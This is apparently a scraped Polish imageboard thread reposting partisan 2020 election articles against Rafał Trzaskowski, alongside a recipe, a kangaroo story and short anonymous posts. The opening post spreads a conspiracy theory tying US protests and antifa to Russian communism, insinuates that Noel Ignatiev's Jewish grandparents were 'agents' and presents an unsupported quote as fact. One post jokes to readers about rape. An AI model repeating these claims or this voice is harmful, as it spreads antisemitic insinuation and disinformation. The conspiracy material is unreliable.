Teraz zatem przyjrzyjmy się zamieszkom w kilku amerykańskich miastach rządzonych przez ichnią lewicę, czyli demokratów, które rozgorzały rzekomo z powodu śmierci czarnoskórego przestępcy w wyniku nazbyt brutalnej interwencji białego policjanta i sine ira et studio zbadajmy kremlowski ślad w całej tej awanturze. Zwrócił mi nań uwagę mój rosyjski przyjaciel ze studiów filmowych w Moskwie, mieszkający od lat w Stanach Zjednoczonych operator Sierioża Moskalow, który wygrzebał w niszowym piśmie konserwatywnym artykuł doktora filozofii Gary’ego Gindlera z 27 czerwca zatytułowany wielce intrygująco: „Rosyjskie korzenie czarnego neomarksizmu” („The Russian Origins of Black Neo-Marxism”) – (wszystkie cytaty w moim tłumaczeniu z angielskiego – JL).

„»Biały« nie oznacza białego. »Biały« w dyskursie radykalnym oznacza każdego człowieka dowolnej rasy, wyznania, narodowości, koloru skóry, płci lub preferencji seksualnych, który przyjmuje kapitalizm, wolny rynek, ograniczony rząd i tradycyjne amerykańskie wartości i kulturę”. Te brednie to kluczowe tezy koncepcji wpływowego amerykańskiego „myśliciela”, byłego profesora Harvardu Noela Ignatieva, zmarłego w ubiegłym roku. Jak wskazuje nazwisko, ten mąciciel umysłów biednych studentów jest pochodzenia rosyjskiego, co nie jest niczym deprecjonującym samo w sobie, ale w tym przypadku daje ciekawe tło jego teoriom, uderzająco przypominającym metody oddziaływania na społeczeństwo charakterystyczne dla ojczyzny Iwana Groźnego, Lenina i towarzysza, pardon, mister Ignatieva.

Gary Gindler w swoim artykule twierdzi, że stworzył on już dawno całą filozofię działania radykalnego ruchu czarnoskórych w USA. Zasadą numer jeden jest w niej zinterpretowanie pojęcia „czarny” w duchu rewolucyjno-marksistowskim, a każdy, kto się z ideologią lewicy nie zgadza, powinien zostać wyeliminowany. Wedle Ignatieva określenie „czarny” nie odnosi się do poziomu pigmentu w skórze, lecz stopnia asymilacji doktryny marksistowskiej. Zgodnie z tą definicją wielki amerykański znawca ekonomiki rynkowej Thomas Sowell, choć całkiem czarny pod względem koloru skóry, podobnie jak czarnoskóry konserwatywny członek Sądu Najwyższego Clarence Thomas, wcale nie są „czarni”, ponieważ nie wyznają dogmatów marksizmu!

Antifa bardziej „czarna”, bo czerwona

Kimże jest twórca owej nader oryginalnej teorii Noel Ignatiev? Wystarczy odrobinę poskrobać w jego biografii, by wyłoniła się znana od dawna postać klasycznego komunisty, i to już w trzecim pokoleniu. Wnuk opętanych naukami Lenina żydowskich emigrantów (agentów?) z Rosji, sam wstąpił do Komunistycznej Partii Stanów Zjednoczonych w wieku 17 lat, należąc do jej najbardziej radykalnego, skrajnie lewicowego leninowskiego skrzydła. Jak z sarkazmem stwierdza Gindler, najwybitniejszym wkładem Ignatieva w filozofię amerykańską jest następująca jego teza:

„O ile można ostatecznie zachować białe kobiety, to wedle mojego odczucia, jeśli jesteś białym mężczyzną, powinieneś sam się teraz zabić. Jeśli jesteś osobą empatyczną, świadomą społecznie, która uznaje siebie za białego, to powinieneś popełnić samobójstwo”.

Comrade Ignatiev (teraz widać, że określenie „towarzysz” jest jak najbardziej zasadne) i jego uczniowie okazują się jednak dla „białych” łaskawi: nie zamierzają ich hurtem eliminować fizycznie, chcą dać im szansę. Otóż zamierzają przekształcić Stany Zjednoczone w jeden wielki gułag, w którym będą oni reedukowani, aż staną się „czarni”. I tu już jesteśmy blisko wyjaśnienia zadziwiającego na pozór faktu, że na czele zamieszek w amerykańskich miastach z udziałem tłumów czarnoskórych stoją nieliczne, lecz sprawne grupy białych bojówkarzy z lewackiej Antify, notabene założonej w 1923 r. w Niemczech przez stalinowskiego agenta, członka Komitetu Wykonawczego Międzynarodówki Komunistycznej Ernsta Thälmanna, zamordowanego później przez konkurentów z partii narodowosocjalistycznej NSDAP.

R: 14 / I: 0 / P: 24

Lekceważenie elektoratu, ludzi i Polski powiatowej, to znak firmowy Rafała Trzaskowskiego

- Lekceważenie elektoratu, ludzi i Polski powiatowej, to znak firmowy Rafała Trzaskowskiego. Kilka tygodni temu zaczął jeździć po Polsce i zobaczył, jak nasz kraj wygląda poza Warszawą. Widocznie po tych kilku spotkaniach w terenie przestraszył się Polski powiatowej i nie przyjechał do Końskich. Wolał urządzić cyrk w Lesznie, zapraszając dziennikarzy z Warszawy tak, jakby nie można było z dziennikarzami ze stolicy podyskutować w Warszawie - ocenił w rozmowie z Niezalezna.pl Krzysztof Sobolewski, szef Komitetu Wykonawczego PiS i członek sztabu wyborczego Andrzeja Dudy.

W Końskich odbyła się debata prezydencka organizowana przez TVP, na której stawił się ubiegający o reelekcję prezydent Andrzej Duda. Nie stawił się na niej kandydat KO, Rafał Trzaskowski, który urządził "Arenę Prezydencką" z udziałem dziennikarzy wielu redakcji w Lesznie.

W ocenie Krzysztofa Sobolewskiego "lekceważenie elektoratu, ludzi i Polski powiatowej, to znak firmowy Rafała Trzaskowskiego".

Kilka tygodni temu zaczął jeździć po Polsce i zobaczył, jak nasz kraj wygląda poza Warszawą. Widocznie po tych kilku spotkaniach w terenie, przestraszył się Polski powiatowej i nie przyjechał do Końskich. Wolał urządzić cyrk w Lesznie, zapraszając dziennikarzy z Warszawy tak, jakby nie można było z dziennikarzami ze stolicy podyskutować w Warszawie

- dodał.

Mówiąc o tym, jak wypadł prezydent Andrzej Duda, polityk PiS stwierdził, że "odpowiedzi prezydenta Andrzeja Dudy były takie, jakich często udziela na spotkaniach z Polakami".

Mówił o tym, co planuje na kolejne 5 lat, jeśli Polacy pozwolą, aby ponownie objął urząd prezydenta RP, a jednocześnie podsumował to, co przez ostatnie 5 lat udało się zrobić w ramach obozu Zjednoczonej Prawicy. Trzeba pamiętać, że początek reform rządu Zjednoczonej Prawicy, to były wybór Andrzeja Dudy na prezydenta w 2015 roku - to właśnie dzięki temu nasz program można było zacząć wprowadzać w życie

- mówił.

Krzysztof Sobolewski zwrócił uwagę na reakcję bukmacherów po debacie, którzy - jak zauważył - są miarodajnym testem.

Bukmacherzy w momencie zakończenia debaty w Końskich i cyrku Trzaskowskiego w Lesznie, zwiększyli szansę prezydenta Andrzeja Dudy na reelekcję o 3 proc., a tym samym obniżyli szansę na zwycięstwo Rafała Trzaskowskiego o 3 proc. To jest jakiś papierek lakmusowy tego, co stało się dzisiaj wieczorem

- ocenił.

Żal, że debata w Końskich nie odbyła się z obydwoma kandydatami - jak widać jeden przestraszył się Polaków

- podsumował poseł PiS.

R: 0 / I: 0 / P: 24

Odnaleziono kolejne ofiary przodków Trzaskowskiego

Specjaliści z Biura Poszukiwań i Identyfikacji IPN odnaleźli we wtorek ludzkie szczątki na terenie dawnego więzienia przy ul. Rakowieckiej w Warszawie. Ciało zostało pogrzebane bez trumny; przy szczątkach znaleziono m.in. fragmenty materiału i drut wokół bioder – podali eksperci.

Dziś, na terenie dawnego więzienia mokotowskiego w Warszawie (ul. Rakowiecka 37) zespół Biura Poszukiwań i Identyfikacji IPN odnalazł szczątki jednej osoby pogrzebane na terenie pod dawnymi spacerniakami. Ciało zostało pogrzebane bez trumny, a jego układ wskazuje, iż zostało wrzucone do zbyt małej jamy grobowej. Przy szczątkach znaleziono m.in. fragmenty materiału i drut wokół bioder.

– poinformowano.

Obecne prace IPN na warszawskim Mokotowie to kolejny etap działań Biura Poszukiwań i Identyfikacji IPN zmierzających do tego, by odnaleźć tam wszystkie szczątki ofiar zbrodni zarówno niemieckich (m.in. z okresu Powstania Warszawskiego), jak i komunistycznych. W poprzednich latach przebadano już znaczną część terenu dawnego więzienia i również odnajdywano ludzkie szczątki. Badano np. teren dawnego szpitala więziennego, na którym ujawniono kilkanaście jam grobowych, a także teren przylegający do byłego pawilonu śledczego MBP, tzw. Pałacu Cudów. W pawilonie tym, wybudowanym w latach 1949-50, funkcjonariusze UB dokonywali brutalnych przesłuchań, po których więźniowie w "cudowny" sposób przyznawali się do stawianych im zarzutów.

Pierwsze prace archeologiczno-ekshumacyjne Instytutu przy ul. Rakowieckiej odbyły się w lipcu 2016 r. Wszystkie wydobywane szczątki są poddawane oględzinom, a następnie badaniom genetycznym w celu ustalenia ich tożsamości.

Prace Biura Poszukiwań i Identyfikacji IPN na terenie dawnego więzienia na Mokotowie mogą przyczynić się do odnalezienia szczątków rotmistrza Witolda Pileckiego - oficera ZWZ-AK, dobrowolnego więźnia Auschwitz i autora raportów o Holokauście, także powstańca warszawskiego. Ponad 72 lata temu - 25 maja 1948 r. - z wyroku komunistycznych władz zastrzelono go w więzieniu przy ul. Rakowieckiej, a miejsce jego pochówku nigdy nie zostało ujawnione.

Wśród bohaterów polskiej historii, których na terenie więzienia mokotowskiego zamordowała komunistyczna bezpieka, byli poza Pileckim m.in. gen. August Emil Fieldorf "Nil", mjr Zygmunt Szendzielarz "Łupaszka", mjr Hieronim Dekutowski "Zapora". Po pokazowym procesie 1 marca 1951 r. zostało tam rozstrzelanych również siedmiu członków niepodległościowego IV Zarządu Głównego Zrzeszenia "Wolność i Niezawisłość" na czele z płk. Łukaszem Cieplińskim ps. Pług. Specjalistom Instytutu udało się odnaleźć szczątki m.in. Szendzielarza i Dekutowskiego; szczątki pozostałych wciąż są poszukiwane.

R: 0 / I: 0 / P: 24

Trzaskowski wspiera lewacką bojówkę

Po powtarzających się napaściach ze strony lewackich ekstremistów na wolontariuszy akcji „Stop Pedofilii” portal Niezalezna.pl poprosił władze Warszawy o zajęcie stanowiska ws. funkcjonowania dwóch śródmiejskich skłotów. Rzecznik Rafała Trzaskowskiego nie odpowiedziała na nasze pytania, oznajmiając, że nasz mail jej „umknął”. Do problemu ustosunkowała się natomiast warszawska policja.

27 czerwca w Warszawie przy ul. Wilczej doszło do brutalnego ataku na wolontariuszy kampanii „Stop Pedofilii”. Samochód którym się poruszali został otoczony przez młodych ludzi z Antify i działaczy LGBT, a następnie zniszczony. Zamaskowani napastnicy byli wyposażeni w długie noże, którymi pocięli plandekę i opony furgonetki. Pobili też jednego z wolontariuszy Fundacji Pro-Prawo do Życia.

Tak się składa, że w pobliżu miejsca gdzie doszło do napaści na wolontariuszy Fundacji Pro-Prawo do Życia znajdują się [przy ul. Wilczej 30 i Ks. Ignacego Jana Skorupki 6] dwa tzw. skłoty, czyli budynki nielegalnie zamieszkiwane przez lewicową młodzież.

Budynek znajdujący się przy ul. Ks. Skorupki 6 został przez nich „przejęty” już 8 lat temu i – jak dotąd – władze stolicy nie uporały się z dzikimi lokatorami.

Warszawski ratusz nie tylko nie działa skutecznie w celu przywrócenia porządku w miejscach gdzie znajdują się obydwa skłoty, ale „wspiera” aktywistów Antify, anarchistów i działaczy LGBT, finansując im szkolenia z „taktyki miejskiej/ulicznej gimnastyki”. Miasto Warszawa zarządzanie przez Rafała Trzaskowskiego, przeznaczyło 3,6 mln złotych na instytucję kultury Biennale Warszawa, która prowadziła wspomniane szkolenia.

Spytaliśmy rzeczniczkę warszawskiego ratusza Karolinę Gałecką, czy skłoty przy ul Wilczej 30 i Ks. Skorupki 6 funkcjonują legalnie oraz o to, kim są właściciele w/w nieruchomości?

W mailu przesłanym do biura prasowego urzędu miasta Warszawy, prosiliśmy także o przedstawienie informacji dot. działań władz stolicy w celu usunięcia dzikich lokatorów, a także o współprace w tym zakresie z organami ścigania.

Podobne pytania - ze szczególnym uwzględnieniem informacji o skali zakłóceń porządku związanych z mieszkańcami obydwu skłotów – wysłaliśmy także do stołecznej policji.

Wczoraj, nie mogąc się doczekać odpowiedzi ze strony biura prasowego władz stolicy, zadzwoniliśmy bezpośrednio do rzeczniczki Rafała Trzaskowskiego - pani Karoliny Gałeckiej - prosząc o ustosunkowanie się do naszych pytań.

Urzędniczka była zdumiona, że dotychczas nie otrzymaliśmy odpowiedzi.

- Nie wiem dlaczego ten mail nam tutaj umknął. Postaramy się [odpowiedzieć-red.] jak najszybciej, ale proszę dać nam chwilkę czasu

- powiedziała w rozmowie z Niezalezna.pl Karolina Gałecka.

Mimo zapewnień pani rzecznik, do chwili publikacji materiału nie otrzymaliśmy stanowiska władz Warszawy w w/w sprawie. Być może powodem opieszałości jest nawał pracy w biurze prasowym prezydenta Warszawy, ale wobec informacji, które uzyskaliśmy od wiceministra sprawiedliwości i przewodniczącego Komisji Weryfikacyjnej [komisji ds. reprywatyzacji nieruchomości warszawskich-red.] Sebastiana Kalety, to właśnie miasto Warszawa jest właścicielem gruntu przy ul Ks. Skorupki 6 i „ponosi pełną odpowiedzialność za to, co się tam dzieje”.

Do naszych pytań ustosunkowali się natomiast warszawscy mundurowi, jednak – jak się wydaje – bagatelizują oni problemy z funkcjonowaniem skłotów.

Nadkom. Robert Szumiata z KRP Warszawa I przy ul. Wilczej poinformował nas, że nie posiada informacji aby miasto stołeczne Warszawa zwracało się do policji „o usunięcie tych osób [skłotersów-red.] z w/w budynków”. Jak dodał, „wspomniane lokalizacje są objęte przez policjantów nadzorem w toku pełnionej codziennie służby”.

- Od początku tego roku nie odnotowaliśmy pod w/w adresami zgłoszeń dotyczących przestępstw lub wykroczeń. Miała miejsce tylko jedna interwencja zgłoszona przez osobę mieszkającą tuż obok i dotyczyła ona zbyt głośnego puszczania muzyki

- napisał w odpowiedzi na pytania Niezalezna.pl Robert Szumiata.

Wydaje się więc, że zniszczenie pojazdu i pobicie wolontariusza Fundacji Pro-Prawo do Życia nie jest przez policję kojarzone z funkcjonowaniem skłotów przy ul Wilczej 30 i Ks. Skorupki 6.

R: 0 / I: 0 / P: 24

Zdemaskowano ustawkę Trzaskowskiego

Ratusz udaje, że nie wie, o co chodzi z aferą wokół Grzegorza Jakubowskiego, który uczestniczył we wczorajszej "Arenie prezydenckiej" Rafała Trzaskowskiego w Lesznie jako dziennikarz "Najwyższego Czasu". Szybko wytknięto mu inną funkcję - warszawskiego urzędnika. - Jesteśmy zaskoczeni, że pracownik urzędu zadawał pytania - tłumaczy rzecznik prasowy Urzędu m.st. Warszawa Karolina Gałecka.

Na znajomą twarz podczas wczorajszej debaty Rafała Trzaskowskiego zwrócili uwagę internauci, dziennikarze i politycy.

Okazała się bowiem, że jednym z zadających kandydatowi KO na urząd prezydenta pytań był… pracownik urzędu m.st. Warszawa! O Jakubowskim pisaliśmy już wcześniej.

Jak ustalili dziennikarze portalu Życie Stolicy, Grzegorz Jakubowski obecnie ma pracować w Urzędzie Dzielnicy Żoliborz w ewidencji ludności (meldunki oraz dowody osobiste). Zniknęło jego konto na Twitterze, a nazwiska próżno szukać w stopkach redakcyjnych. Tymczasem "Życie Stolicy" podaje, że Jakubowski wciąż pracuje dla "Gazety Finansowej", pisząc pod pseudonimem Wiktor Kowalski.

Tymczasem ratusz - rzekomo - całkowicie zaskoczony!

Jesteśmy zaskoczeni, że pracownik zadawał pytania, reprezentując prawicowy tygodnik. Nikogo w urzędzie nie informował o tym zamiarze. Zatrudniając go na zastępstwo, urząd oceniał jego kompetencje zawodowe, nie badał innych aktywności

- pisze na Twitterze rzecznik prasowy Urzędu m.st. Warszawa Karolina Gałecka.

Jesteśmy zaskoczeni, że pracownik @warszawa zadawał w #ArenaPrezydencka pytania @trzaskowski_, reprezentując prawicowy tygodnik. Nikogo w urzędzie nie informował o tym zamiarze. Zatrudniając go na zastępstwo, urząd oceniał jego kompetencje zawodowe, nie badał innych aktywności

— Karolina Gałecka (@K_Galecka) July 7, 2020

R: 1 / I: 0 / P: 24

W jednym z lasów na terenie Nadleśnictwa Gostynin spotkać dziś można było wyjątkowego gościa. Leśnicy nie wierzyli własnym oczom, gdy ujrzeli… kangura. Okazało się, że to uciekinier z jednej z placówek i pokonał już kilkanaście kilometrów. Operacja schwytania kangura była wymagająca, ale zakończyła się sukcesem.

O całą sytuację zapytaliśmy jednego z leśników, którzy mieli okazję ujrzeć kangura w lesie.

- Sytuacja nieprawdopodobna. Dziś w Nadleśnictwie Gostynin mieliśmy takie manewry ze strażakami i młody leśnik troszkę się spóźnił. Kilka minut spóźniony przyjeżdża i mówi: "Szefie, spóźniłem się, bo kangura spotkałem". Mówi: "Wiem, że mi nie uwierzycie" i pokazuje nam zdjęcie zrobione telefonem.

- opisuje nadleśniczy Jacek Liziniewicz w rozmowie z Niezalezna.pl.

I tak manewry zeszły na drugi plan, gdyż najważniejsze okazało się nietypowe odkrycie.

- Manewry strażaków zostawiliśmy i jedziemy tego kangura zobaczyć. Moim życiowym marzeniem było zobaczyć kangura na wolności, ale wyobrażałem sobie, że może kiedyś znajdę się w Australii, a tu Australia przyszła do mnie. Przyjeżdżamy na miejsce i proszę sobie wyobrazić, że na środku drogi leśnej siedzi sobie kangur średniej wielkości i trawkę skubie. Oniemieliśmy. Kolega poszedł go sfotografować, sfilmować. Ten zwierzak tak na parę metrów dał do siebie podejść

- mówi Liziniewicz.

Kangur w lesie to już fakt, ale należy postawić pytanie - jak on się tam znalazł? Okazało się, że uciekł z placówki w Goreniu Dużym.

- W międzyczasie zaczęliśmy się zastanawiać, skąd ten kangur mógł się wziąć. Ze dwa tygodnie wcześniej słyszeliśmy o podobnym incydencie we Włocławku. Poszliśmy po linii, skąd mógł uciec i jest taka placówka w Goreniu i tam ten kangur mógł być. Dzwonimy do nich i pytamy czy brakuje im kangura, mówią: "Tak, szukamy". To kilkanaście kilometrów od tego miejsca

- dodaje.

Okazało się jednak, że złapanie uciekiniera nie będzie łatwe. Kangur poczuł wolność.

- Próbowaliśmy go złapać, ale niestety, dał podejść na 2-3 metry i uciekał. Mimo, że chłopaki leśniki wysportowane, ale z kangurem było im ciężko. Ostatecznie leśnicy wykazali pomysłowość, otoczyliśmy teren włóknem do przykrywania zasiewów rolniczych. Kangur bał się przekroczyć granicę, podchodził i nie chciał przekroczyć tej linii ogrodzenia, chociaż mógł sobie przeskoczyć. Jeden z pracowników tej placówki, z której kangur uciekł, przyjechał i złapał go żywcem. Kangur się im odnalazł

- mówi nadleśniczy.

Zwierzę wróciło do miejsca, w którym przebywało na co dzień, a leśnicy ten dzień na pewno zapamiętają na długo. Kangura-uciekiniera możecie zobaczyć także na poniższym filmie.

https://static.ftpn.pl/player/player2.php?f=/uploads/dokumenty/339250/videoplayback.mp4

R: 2 / I: 0 / P: 24

Rozkosz podniebienia

Składniki

Ciasto kruche:

3 szklanki mąki

6 żółtka

2 łyżeczki proszku do pieczenia

1 margaryna Palma z murzynkiem

1 cukier waniliowy

1/4 szklanki cukru pudru

2 łyżki śmietany 18%

Ciasto z sezamem:

15 dag ziarna sezamu

2 łyżki miodu

10 dag margaryny Palma z murzynkiem

1/4 szklanki cukru

Ciasto z kokosem:

słoik dżemu z czarnej porzeczki lub powideł

1/2 szklanki cukru

6 białek

10 dag wiórek kokosowych

Ciasto miodowo-orzechowe:

15 dag mąki

1/4 szklanki cukru pudru

5 dag margaryny Palma z murzynkiem

2 jajka

2 łyżki śmietany 18%

2 łyżki miodu

1 łyżeczka sody

20 dag krojonych orzechów włoskich

10 dag margaryny Palma z murzynkiem

1/2 szklanki cukru

3 łyżki miodu

Masa chałwowa:

15 dag chałwy waniliowej

3/4 kostki margaryny Palma z murzynkiem

1/4 szklanki cukru

Masa kokosowa:

1 budyń kokosowy (użyłam śmietankowego, bo nigdzie nie mogłam kupić kokosowego)

1/2 l mleka

1 kostka masła lub margaryny Palma z murzynkiem

10 dag wiórek kokosowych

2-3 łyżki cukru

3/4 szklanki mleka

Sposób przygotowania przepisu:

1. Ciasto kruche:

Zagnieść kruche ciasto, podzielić na dwie części, schłodzić w lodówce, następnie rozwałkować i dać na dwie foremki (25/35 cm.)

2. Ciasto z sezamem:

Wszystkie składniki zagotować, gdy będą gęstnieć wyłożyć na pierwszą część ciasta kruchego.

3. Piec w tem. 180*C. przez 25 min.

4. Ciasto z kokosem:

Drugie ciasto kruche posmarować dżemem. Białka ubić na pianę, dodać cukier, ubijać, dodać wiórka lekko wymieszać i wyłożyć pianę na dżem.

5. Piec w tem. 180*C. przez 25 min.

6. Ciasto miodowo-orzechowe:

Z podanych składników przygotować ucierane ciasto. Margarynę utrzeć z żółtkami i cukrem pudrem, dodać pozostałe składniki, na konies pianę z białek. wlać do wysmarowanej foremki.

Orzechy, margarynę, cukier i miód przełożyć do garnka i zagotować, kiedy karmel jest ugotowany wylać go na ciasto.

7. Piec 15 minut w 180'.

8. Masa chałwowa:

Wszystkie składniki rozpuścić w garnku cały czas mieszając, ale nie gotować, gdy masa wystygnie ucierać mikserem od 10 do 15 minut.

9. Masa kokosowa:

Na 1/2 l mleka i 2-3 łyżkach cukru ugotować budyń - ostudzić. Zagotować 3/4 szklanki mleka i sparzyć nim kokos - ostudzić. Masło i margarynę utrzeć, powoli dodawać ostudzony budyń i kokos. Można dodać kieliszek spirytusu.

10. Przełożenie:

Ciasto z sezamem - masa chałwowa - ciasto miodowo-orzechowe - masa kokosowa - ciasto z kokosem

R: 5 / I: 0 / P: 24

a co jak dziewczyna którą zgwałcicie wyrośnie na funkcjonariuszkę cyberwojska i zostaniecie przez nią złapani?

R: 0 / I: 0 / P: 24

CZEGO BOI SIĘ sztab Trzaskowskiego

Sztab pana Rafała Trzaskowskiego teraz zaczyna się upominać o kolejną debatę. Czyli zrozumieli, że niestawienie się kandydata na prezydenta na debacie, która mogła być dla nich trudna, jednak kosztowało ich zbyt wiele. Porównanie publiki, która oglądała debatę (w TVP to były 4 mln, niecały milion w TVN), pokazuje, że sztabowcom Trzaskowskiego nie udało się przyciągnąć nawet swoich - mówił prof. Arkadiusz Jabłoński w programie Katarzyny Gójskiej "W punkt", wskazując, że "jeśli nie ma mobilizacji, jest ryzyko demobilizacji".

#WPunkt | Prof. Arkadiusz #Jabłoński: Pytania stawiane Prezydentowi Andrzejowi Dudzie nie były podchwytliwe, jednostronne, dotyczyły wszystkich ważnych spraw, które Polaków zajmują na co dzień. Każdy poważny kandydat powinien być przygotowany do odpowiedzi na nie.#TVRepublika

— Telewizja Republika 🇵🇱 (@RepublikaTV) July 7, 2020

W normalnych okolicznościach, dzień po debacie prezydenckiej i kilka dni przed pierwszą turą, czyli turą rozstrzygającą, padłoby pytanie - kto wygrał debatę. W tych okolicznościach jednak, wskazała Katarzyna Gójska, bardziej zasadne jest pytanie: kto skorzystał na swoim występie.

Wydaje się, że jednak pan prezydent. Przekonał mnie pan dr Żukowski, który w swojej wypowiedzi zwrócił uwagę na to, że sztab pana Rafała Trzaskowskiego teraz zaczyna się upominać o kolejną debatę. Czyli zrozumieli, że niestawienie się kandydata na prezydenta na debacie, która mogła być dla nich trudna, jednak kosztowało ich zbyt wiele. Porównanie publiki, która oglądała debatę (w TVP to były 4 mln, niecały milion w TVN), pokazuje, że sztabowcom Trzaskowskiego nie udało się przyciągnąć nawet swoich

- mówił prof. Arkadiusz Jabłoński, wskazując, że "jeśli nie ma mobilizacji, jest ryzyko demobilizacji".

Widząc, że to ma być taka zabawa, że to w zasadzie nie jest na poważnie, wydaje się, że w jakimś sensie mogli zdemobilizować nawet własny elektorat

- stwierdził.

Prezydent @AndrzejDuda mówił, że stanie do debaty trzech telewizji. Wczoraj w Lesznie były 4 telewizje. Polsat, TVN, TVP, Telewizja Republika oraz 16 redakcji. Andrzej Duda ucieka. Więc w imieniu @trzaskowski_ apeluje raz jeszcze. Potrzebna debata 3 telewizji. Jesteśmy gotowi.

— Cezary Tomczyk (@CTomczyk) July 7, 2020

W debacie zorganizowanej w Lesznie Rafał Trzaskowski, podkreśla prof. Jabłoński, "poradził" sobie z trudnymi pytaniami od dziennikarzy Strefy Wolnego Słowa, bo zwyczajnie na nie nie odpowiadał.

To chyba też ludzi zniechęciło i zniesmaczyło. Dramaturgia była nadspodziewanie niska. Może mdlejąca pani dziennikarka i nagła dżentelmeńska pomoc pana Trzaskowskiego najbardziej zostanie w pamięci odbiorców

- dodał.

#WPunkt | Prof. Arkadiusz #Jabłoński: Moim zdaniem pan Trzaskowski nie jest człowiekiem, który w normalnej rozmowie potrafi odpowiedzieć trafnie, dobrać właściwie myśli. W normalnej dyskusji, kiedy nie można operować hasłami, mógłby dużo stracić.#TVRepublika Katarzyna #Gójska

— Telewizja Republika 🇵🇱 (@RepublikaTV) July 7, 2020

R: 0 / I: 0 / P: 24

Światowe media piszą o polskiej gospodarce. Ekonomiści zaskoczeni tempem odbudowy!

Agencja Reutera oraz „New York Times” informują o tempie powrotu polskiej gospodarki do stanu sprzed pandemii koronawirusa. Powołując się na dane przedstawione przez prezesa Polskiego Funduszu Rozwoju (PFR) Pawła Borysa, światowe media zwracają uwagę, że polska gospodarka wraca do dobrej kondycji znacznie szybciej niż inne kraje.

Polska może powrócić do poziomu aktywności gospodarczej sprzed pandemii koronawirusa w pierwszym lub drugim kwartale 2021 r.

- informuje agencja Reutera.

Depeszę przedrukował także „New York Times”.

Największa gospodarka we wschodniej części Unii Europejskiej ucierpiała znacząco z powodu pandemii i ministerstwo finansów spodziewa się, że PKB spadnie o około 4 proc. w 2020 roku, jednak ekonomiści oczekują w przypadku Polski szybszego powrotu do dobrej kondycji w porównaniu z wieloma innymi krajami.

- czytamy w komunikacie Reutersa.

Szef PFR zapowiedział, że powrót do poziomu aktywności gospodarczej sprzed kryzysu zajmie co najmniej trzy do czterech kwartałów, czyli będzie możliwy w pierwszej połowie 2021 roku.

Recesja zakończyła się w drugim kwartale. Mamy odbicie gospodarcze, koniec recesji i wzrost PKB o około 5 proc. (w trzecim kwartale) w porównaniu do drugiego.

- poinformował na konferencji prasowej Borys.

Prezes Polskiego Funduszu Rozwoju poinformował także, że według szacunków Funduszu spadek liczby zatrudnionych w Polsce w ciągu ostatnich trzech miesięcy wyniósł około 150-180 tys. osób.

W raporcie opublikowanym we wtorek przez PFR i Polski Instytut Ekonomiczny przedstawiono dane ukazujące, że liczba firm planujących utrzymać zatrudnienie na obecnym poziomie wzrosła na początku lipca do 79 proc. z 62 proc. na początku kwietnia.

PFR inwestuje w polskie przedsiębiorstwa i zajmuje się dystrybucją pomocy państwowej związanej z kryzysem skierowanej do firm.

R: 22 / I: 1 / P: 24

?

jeśli definicja lolifoksiarza to ktoś kto często postuje na Lolifoxie to nie znaczy że Łukasz Jędrzejczak z SKW jest czwartym lolifoksiarzem?

R: 1 / I: 0 / P: 24

Nie wpadnijmy w PO-Trzask!

Według Mateusza Morawieckiego Polska osiągnęła bardzo dobry stan finansów publicznych państwa, "którego zazdroszczą nam kraje zachodnie". Ale… "musimy dbać o to, żeby nie wpaść w potrzask, bo Platforma Obywatelska plus Trzaskowski to PO-trzask” – mówił na wiecu wyborczym w Jarocinie. "Pomyślcie o naszej polityce społecznej, o bezrobociu w czasach rządów Platformy Obywatelskiej, o wyprzedaży majątku, o tym, jak traktowano wtedy rolników, bezrobotnych i biedniejszych ludzi" – wskazał premier

Zdaniem szefa rządu "jest co kontynuować, bo pan prezydent postawił sobie na początku swojej kadencji cele z polityki międzynarodowej, historycznej, społecznej i instytucji państwa" – mówił.

Jak było kiedyś, a jak jest teraz

Spójrzcie na Polskę dzisiaj i pięć lat temu; każdy, nawet nasi przeciwnicy dostrzeże różnicę. Apeluję nie do naszych zwolenników, bo oni tę różnice widzą. Apeluję do tych, którzy głosowali na naszych konkurentów. Pomyślcie o naszej polityce społecznej, o bezrobociu w czasach rządów Platformy Obywatelskiej, o wyprzedaży majątku, o tym, jak traktowano wtedy rolników, bezrobotnych i biedniejszych ludzi

– wskazał premier Morawiecki.

Zaznaczył, że troska o rodziny i emerytów nie byłaby możliwa bez prezydenta Andrzeja Dudy.

Według premiera prezydent Duda podjął wielki wysiłek w celu naprawy instytucji państwowych.

Albo Duda, albo ugrzęźniemy w kisielu

Zaapelował do zebranych na wiecu w Jarocinie, by wyobrazili sobie losy polityki europejskiej, gdyby były kłótnie, wetokracja pana Trzaskowskiego i pseudoliberalny system budowany przez Platformę Obywatelską.

"Musielibyśmy grzęznąć w kisielu, tracić czas na przepychanki polityczne, na wojnę polityczną. Nie chcemy tego, chcemy pracy dla Polski z prezydentem Andrzejem Dudą" – oznajmił premier.

Według Morawieckiego Polska osiągnęła bardzo dobry stan finansów publicznych państwa, "którego zazdroszczą nam kraje zachodnie"

"Musimy dbać o to, żeby nie wpaść w potrzask, bo Platforma Obywatelska plus Trzaskowski to PO-trzask"

– mówił premier.

Mówiąc o polityce międzynarodowej, premier powiedział, że prezydent Andrzej Duda myśli o Polsce w Białym Domu, w domu strażaka czy w domu seniora. "Świetnie się czuje w świecie i w każdym powiecie. W Nowym Jorku i w Nowej Wsi" – wyliczał szef rządu.

Przypomniał też, że dzięki prezydentowi Polacy nie muszą już aplikować po wizy do USA.

"Mamy też znacząco poprawione bezpieczeństwo państwa – pięć tysięcy żołnierzy NATO na polskiej ziemi, super nowoczesny sprzęt wojskowy, a prezydent prowadzi skuteczną politykę europejską"

– stwierdził premier.

Trzaskowski to ryzyko i chaos

Zdaniem Morawieckiego wybór Trzaskowskiego "to jest gigantyczne ryzyko dla Polski, to chaos, letarg, marazm i wieczna wojna polityczna".

Przypomniał, że prezydent Andrzej Duda podczas swojej kadencji przywrócił dobre imię bohaterom, a zdrajców nazwał zdrajcami.

"Jednym hasłem można to ująć na czym polegało pierwsze lat 25 lat, bez mała, bo były przerwy w tym okresie: to samobiczowanie, pedagogika wstydu"

- mówił.

"Polacy byli zdrajcami, a szło to w kierunku nawet takim, który mi się w głowie nie mieści, ale tak było i pamiętacie to szanowni państwo, że Polacy są współwinni wybuchowi II wojny światowej, czyli kłania się dzisiejsza narracja pana prezydenta Putina - takie cele stawiały sobie główne media III RP i pan prezydent Andrzej Duda odwrócił tę rzekę, odwrócił te kłamstwa i przywrócił dobre imię naszym bohaterom, a zdrajców nazywa zdrajcami i to ich boli"

- podkreślał szef rządu.

Tak pieje, jak wiatr zawieje

Morawiecki mówił, że kandydat KO na prezydenta "zapomina wieczorem, co powiedział rano; kłamie i nie poznaje swoich własnych poglądów; tak pieje, jak wiatr zawieje. Jest niepoważny, nieudacznik".

